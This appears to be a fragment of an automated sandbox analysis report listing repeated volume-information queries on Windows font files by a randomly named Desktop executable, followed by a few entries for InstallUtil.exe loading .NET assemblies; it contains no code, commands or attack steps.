Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe

